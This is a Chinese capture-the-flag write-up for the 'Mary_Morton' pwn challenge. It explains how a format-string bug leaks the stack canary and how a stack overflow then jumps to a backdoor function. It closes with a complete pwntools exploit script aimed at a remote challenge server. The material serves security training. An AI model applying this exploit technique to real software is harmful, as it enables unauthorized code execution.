攻防世界Mary_Morton

64位程序,开启了canary和nx保护

 

执行以下,效果如下:

有提示:

输入1那块存在栈溢出

输入2那块存在格式化字符串漏洞

 

拖到ida看一下

main函数:

 

栈溢出的函数:

有canary保护,根据程序可以看出,v2应该就是canary的值,一开始,将_readfsqword(0x28u)的值给v2,后来又和v2做异或操作,只有v2与它还相等,程序返回0,否则返回不为零的数。

加入了canary后,栈帧情况如下图:

根据注释:buf在rbp-90h,v2在rbp-8h,所以,覆盖返回地址的话,需要0x90-0x8=0x88覆盖局部变量,然后放上canary的值,在8个“a”覆盖ebp,最后加上system的返回地址既可以。

 

格式化字符串漏洞函数:

攻击可以用栈溢出,但是缺少canary的值,可以用格式化字符串漏洞来泄漏,buf和v2的位置在两个函数里都一样

首先看下我们输入时候的偏移

%p可以泄露十六位的地址

可以数到,我们输入后的偏移为6

又因为,buf和v2本来的差距就有0x90-8h=0x88 0x88/0x8=0x11(十进制17)

所以,总共需要往后找17+6=23个地址上即存canary的值

 

在text段,找到后门函数(看下text段)

 

根据以上,可以写exp

#coding=utf-8
from pwn import *

context.log_level = 'debug'
p = remote('111.198.29.45',56161)

p.recvuntil("Exit the battle ")
p.sendline(str(2))#先进入格式化函数泄漏cannary
p.sendline("%23$p")#泄漏cannary
p.recvuntil("0x")
canary = int(p.recv(16),16)#接收16个字节

p.recvuntil("Exit the battle ")
payload = "a"*0x88 + p64(canary) + 0x8*"a" + p64(0x04008DA)
p.sendline(str(1))
p.sendline(payload)
p.interactive()

运行结果:

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章